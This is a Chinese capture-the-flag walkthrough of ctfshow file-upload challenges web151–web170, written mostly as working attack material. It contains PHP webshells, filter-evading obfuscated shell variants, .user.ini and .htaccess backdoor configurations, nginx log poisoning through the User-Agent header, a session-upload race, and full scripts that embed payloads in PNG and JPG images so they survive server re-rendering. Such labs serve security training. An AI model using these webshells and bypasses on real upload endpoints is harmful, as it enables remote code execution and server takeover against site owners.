ctfshow web入門檔案上傳
web151
上傳一個png的一句話木馬,並用bp抓包
找到木馬路徑upload/shell.php
關閉bp,觀察檔案是否上傳成功,上傳成功後會返回上傳路徑
檔案上傳成功後,直接訪問upload/shell.php
shell=system('tac ../f*');
web152
與上一題做法一樣
web153
先看一下原始碼,php檔案上傳不了,可以傳png檔案
php.ini是php的一個全域性配置檔案,對整個web服務起作用;而.user.ini和.htaccess一樣是目錄的配置檔案,.user.ini就是使用者自定義的一個php.ini,我們可以利用這個檔案來構造後門和隱藏後門。 但是這種方式其實是有個前提的,因為.user.ini只對他同一目錄下的檔案起作用,也就是說,只有他同目錄下有php檔案才可以。
配置檔案內容:
auto_prepend_file=filename //包含在檔案頭
auto_append_file=filename //包含在檔案尾
//filename是你自己的檔名
為了利用auto_append_file,我們首先上傳.user.ini內容為 auto_append_file=“xxx” xxx為我們上傳的檔名,接著上傳一個帶木馬的圖片
因為upload有index.php,所以這個php就會新增一個include(“shell.png”),就會包含到木馬,這樣就在每個php檔案上包含了我們的木馬檔案。
檔案內容:
.user.ini.png 內容: auto_prepend_file="shell.png" shell.png <?php @eval($_POST['shell']);?>
開始做題
先上傳.user.ini.png檔案,並抓包,修改名稱:.user.ini
放包
再上傳圖片馬
放包
成功上傳
訪問/upload/
post傳入引數shell=system('tac ../flag.php');
找到flag
web154
與web153一樣再來一遍,發現.user.ini檔案能上傳,但是上傳圖片馬上傳不成功
應該是過濾了php
可以試試短標籤
可用使用<?=(表示式)?>進行繞過,<?=(表示式)?> 等價於 <?php echo (表示式)?> //無限制 圖片內容為 <?=eval($_POST[1]);?>
1=system('tac ../flag.php');
web155
同154
web156
這次估計是過濾了[]
可以把[]換為{},同154
<?=eval($_POST{1});?>
上傳成功
繼續同154
web157.158
在前面的基礎上過濾了;在短標籤裡可以不要;
直接懟
<?=system('tac ../f*')?>
直接訪問/upload/
web159
這裡是將()給ban了,我們採用反引號來執行命令,即
<?=`tac ../f*`?>
或
<?=`cat ../f*`?>
web160
這題在之前的基礎上過濾了空格
先說第一種做法
Nginx日誌的預設路徑:
/var/log/nginx/
先正常上傳.user.ini檔案(注意裡面不要有空格),然後上傳圖片,圖片內容為
<?=include"/var/lo"."g/nginx/access.lo"."g"?> (log被過濾)
然後講一句話寫進user-agent裡,再蟻劍連線,獲取flag
然後連線蟻劍
url+upload/index.php
或者將UA改為
<?php system('tac ../f*');?>
然後直接訪問/upload/
第二種
還是先上傳.user.ini,再上傳圖片,圖片內容為
<?=include"ph"."p://filter/convert.base64-encode/resource=../flag.p"."hp"?>
然後直接訪問/upload/,進行base64解碼就行
web161
getimagesize(): 會對目標檔案的16進位制去進行一個讀取,去讀取頭幾個字串是不是符合圖片的要求
這道題對圖片的檔案頭進行了檢測!
所以在上題的基礎上都加個 GIF89a 圖片頭就可以了
.user.ini也得加,圖片也得加,上題的兩種方法都可以
GIF89a
web162.163
這題把flag和.給ban了,使用seesion檔案包含
先上傳.user.ini,內容為:
GIF89A
auto_append_file=/tmp/sess_hacker
還是先構造一個上傳seeeion檔案的包
<!DOCTYPE html>
<html>
<body>
<form action="http://c79ecd48-a6ab-4c73-87bc-e76e0f74e434.challenge.ctf.show:8080/" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
改Cookie:PHPSESSID=hacker
在123那裡寫入內容
<?php system('tac ../f*');?>
訪問upload/目錄,目錄下有index.php檔案,即相當於在index.php檔案中執行include /tmp/sess_hacker
對兩個包進行有效載荷的設定
執行緒搞到25
開始競爭,先爆post包,再爆get的包
成功競爭後得到flag
web164
考點是png圖片二次渲染
二次渲染
將一個正常顯示的圖片,上傳到伺服器。尋找圖片被渲染後與原始圖片部分對比仍然相同的資料塊部分,將Webshell程式碼插在該部分,然後上傳。具體實現需要自己編寫Python程式,人工嘗試基本是不可能構造出能繞過渲染函式的圖片webshell的。
大佬連結:https://www.fujieace.com/penetration-test/upload-labs-pass-16.html
首先只能上傳png檔案
上傳圖片馬,發現沒有辦法執行
在bp上發現圖片中php程式碼沒有了,猜測是進行了二次渲染
繞過二次渲染的png指令碼:
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'1.png'); //要修改的圖片的路徑
/* 木馬內容
<?$_GET[0]($_POST[1]);?>
*/
//imagepng($img,'1.png'); 要修改的圖片的路徑,1.png是使用的檔案,可以不存在
//會在目錄下自動建立一個1.png圖片
//圖片指令碼內容:$_GET[0]($_POST[1]);
//使用方法:例子:檢視圖片,get傳入0=system;post傳入tac flag.php
?>
------------------------------------
建立1.png圖片成功!
------------------------------------
指令碼儲存為 png二次渲染.php ,進入指令碼所在目錄,執行命令
php png二次渲染.php c.png
//c.png可以換成任何名字
建立成功後,生成一個圖片檔案1.png
上傳該圖片
檢視圖片並傳入命令:
&0=system
1=tac f*
使用ctrl+s將圖片下載下來,記事本開啟即可
web165
這題改成了:jpg二次渲染
繞過二次渲染的jpg指令碼:
<?php
/*
The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
It is necessary that the size and quality of the initial image are the same as those of the processed image.
1) Upload an arbitrary image via secured files upload script
2) Save the processed image and launch:
jpg_payload.php <jpg_name.jpg>
In case of successful injection you will get a specially crafted image, which should be uploaded again.
Since the most straightforward injection method is used, the following problems can occur:
1) After the second processing the injected data may become partially corrupted.
2) The jpg_payload.php script outputs "Something's wrong".
If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.
Sergey Bobrov @Black2Fan.
See also:
https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
*/
$miniPayload = '<?=eval($_POST[1]);?>';
if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
die('php-gd is not installed');
}
if(!isset($argv[1])) {
die('php jpg_payload.php <jpg_name.jpg>');
}
set_error_handler("custom_error_handler");
for($pad = 0; $pad < 1024; $pad++) {
$nullbytePayloadSize = $pad;
$dis = new DataInputStream($argv[1]);
$outStream = file_get_contents($argv[1]);
$extraBytes = 0;
$correctImage = TRUE;
if($dis->readShort() != 0xFFD8) {
die('Incorrect SOI marker');
}
while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
$marker = $dis->readByte();
$size = $dis->readShort() - 2;
$dis->skip($size);
if($marker === 0xDA) {
$startPos = $dis->seek();
$outStreamTmp =
substr($outStream, 0, $startPos) .
$miniPayload .
str_repeat("\0",$nullbytePayloadSize) .
substr($outStream, $startPos);
checkImage('_'.$argv[1], $outStreamTmp, TRUE);
if($extraBytes !== 0) {
while((!$dis->eof())) {
if($dis->readByte() === 0xFF) {
if($dis->readByte !== 0x00) {
break;
}
}
}
$stopPos = $dis->seek() - 2;
$imageStreamSize = $stopPos - $startPos;
$outStream =
substr($outStream, 0, $startPos) .
$miniPayload .
substr(
str_repeat("\0",$nullbytePayloadSize).
substr($outStream, $startPos, $imageStreamSize),
0,
$nullbytePayloadSize+$imageStreamSize-$extraBytes) .
substr($outStream, $stopPos);
} elseif($correctImage) {
$outStream = $outStreamTmp;
} else {
break;
}
if(checkImage('payload_'.$argv[1], $outStream)) {
die('Success!');
} else {
break;
}
}
}
}
unlink('payload_'.$argv[1]);
die('Something\'s wrong');
function checkImage($filename, $data, $unlink = FALSE) {
global $correctImage;
file_put_contents($filename, $data);
$correctImage = TRUE;
imagecreatefromjpeg($filename);
if($unlink)
unlink($filename);
return $correctImage;
}
function custom_error_handler($errno, $errstr, $errfile, $errline) {
global $extraBytes, $correctImage;
$correctImage = FALSE;
if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
if(isset($m[1])) {
$extraBytes = (int)$m[1];
}
}
}
class DataInputStream {
private $binData;
private $order;
private $size;
public function __construct($filename, $order = false, $fromString = false) {
$this->binData = '';
$this->order = $order;
if(!$fromString) {
if(!file_exists($filename) || !is_file($filename))
die('File not exists ['.$filename.']');
$this->binData = file_get_contents($filename);
} else {
$this->binData = $filename;
}
$this->size = strlen($this->binData);
}
public function seek() {
return ($this->size - strlen($this->binData));
}
public function skip($skip) {
$this->binData = substr($this->binData, $skip);
}
public function readByte() {
if($this->eof()) {
die('End Of File');
}
$byte = substr($this->binData, 0, 1);
$this->binData = substr($this->binData, 1);
return ord($byte);
}
public function readShort() {
if(strlen($this->binData) < 2) {
die('End Of File');
}
$short = substr($this->binData, 0, 2);
$this->binData = substr($this->binData, 2);
if($this->order) {
$short = (ord($short[1]) << 8) + ord($short[0]);
} else {
$short = (ord($short[0]) << 8) + ord($short[1]);
}
return $short;
}
public function eof() {
return !$this->binData||(strlen($this->binData) === 0);
}
}
?>
指令碼儲存為 jpg二次渲染.php,進入指令碼目錄,執行命令
php jpg二次渲染.php a.jpg
會在該目錄下生成一個payload_a.jpg,其內容為:
這個指令碼會自動把一句話寫進圖片中
在題中上傳圖片,上傳成功後,檢視圖片,然後進行POST傳參
1=system('tac f*');
抓包後,發到Repeater模組中,就可以找到flag了(沒成功,成功率比較低)
web166
檢視原始碼,發現只能傳zip檔案
直接上傳一句話,用bp抓包
注意:有時候會出錯,是因為
要改一下MIME型別:Content-Type: application/zip
需要修改成:Content-Type: application/x-zip-compressed
上傳成功:
上傳成功後,提示可以下載
說明已經上傳成功
點選下載檔案並進行抓包,發現域名已經變了
返回上傳檔案的頁面,用hackbar傳入命令,將域名改為抓的包上面的域名,並POST寫入命令
1=system("cat ../f*");die();
//如果不使用die()那麼就會直接下載檔案不會顯示內容,原因是因為這個Content-Type: application/x-zip-compressed
得到flag
web167
只能上傳jpg檔案
照之前上傳.user.ini檔案的方法做,結果一訪問/upload
卻找不到檔案,說明原來的/upload/index.php
檔案沒有了,但是注意頁面發現伺服器是Apache
關於.htaccess 和.user.ini 配置檔案
https://www.dazhuanlan.com/vip_mmles/topics/1547397
.htaccess 是 Apache 的配置檔案,不過相當於一個區域性配置檔案,只對該檔案所在目錄下的檔案起作用。
姿勢:
先上傳一個jpg檔案,抓包修改名稱為.htaccess
檔案內容為:
AddType application/x-httpd-php .jpg //將.jpg字尾的檔案解析 成php
或者
SetHandler application/x-httpd-php //將所有檔案都解析為 php 檔案
再上傳一句話的jpg檔案
下載圖片,POST傳參
1=system('tac ../f*');
web168
需要上傳png檔案
嘗試上傳一句話,發現返回為空
說明被過濾了
嘗試後發現過濾了eval,和system,$_POST $_GET等等
下面是另外的免殺程式碼:
指令碼1:
<?=`$_REQUEST[1]`;?> //利用反引號執行系統命令
指令碼2:
<?php
$a=$_REQUEST['a'];
$b=$_REQUEST['b'];
$a($b);
?>
//a=system&b=tac ../flagaa.php
指令碼3:
<?php $a='syste'.'m';($a)('ls ../'); //拼接
//把ls ../換成tac ../flagaa.php即可找到flag
指令碼4:
<?php
$a = "s#y#s#t#e#m";
$b = explode("#",$a);
$c = $b[0].$b[1].$b[2].$b[3].$b[4].$b[5];
$c($_REQUEST[1]);
?>
//c相當於system,給1賦值引數即可
指令碼5:
<?php $a=substr('1s',1).'ystem'; $a($_REQUEST[1]); ?>
指令碼6:
<?php $a=strrev('metsys'); $a($_REQUEST[1]); ?>
指令碼7:
$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi{abs})($$pi{acos});
#數字函式 get傳參 abs=system&acos=tac ../flagaa.php
姿勢:
上傳上面任意指令碼,修改後綴,可以看到成功上傳
直接點下載檔案是不行的,為404
因為我們上傳檔案的位置是/upload/資料夾下
所以我們訪問的url應該加上/upload/上傳的檔名
最後找到flag
1=ls ../ //可以一級一級的嘗試
1=tac ../flagaa.php
flag.php檔案裡面沒有東西
web169
需要上傳zip檔案
但zip的檔案上傳不上
後端檢查了MIME,只能為image/png
所以抓包需要修改MIME type為image/png!!!!!!//注意改
發現可以成功上傳
嘗試之後發現也對檔案內容進行了過濾:<>?空格$等等
但檔名可以修改為.user.ini和php
因為過濾,一句話上傳不了,所以可以用.user.ini進行日誌包含,即在UA頭寫入一句話
姿勢:
先上傳.user.ini檔案,內容為auto_append_file=/var/log/nginx/access.log
auto_append_file=/var/log/nginx/access.log
這裡是利用nginx日誌路徑包含
這樣就可以往UA裡寫入一句話了
image/png
然後上傳一個php檔案
image/png
UA頭為:<?=eval($_POST[1]);?>
開啟下載檔案,注意url為/upload/1.php
這說明一句話已經傳上,然後進行POST傳參就行了
1=system("ls ../");
1=system("tac ../flagaa.php");
web170
上傳zip檔案
與上一題一樣,需要加一個檔案頭
.user.ini
內容:
GIF89A
auto_append_file=/var/log/nginx/access.log
image/png
1.php
內容隨意
image/png
UA頭為:<?=eval($_POST[1]);?>
1=system("ls ../");
1=system("tac ../flagaa.php");
總結:
.user.ini 不僅僅用於apache伺服器,但要求上傳目錄下有一個php檔案
.htaccess 只適用於apache伺服器,沒有檔案的要求,可指定解析任意檔案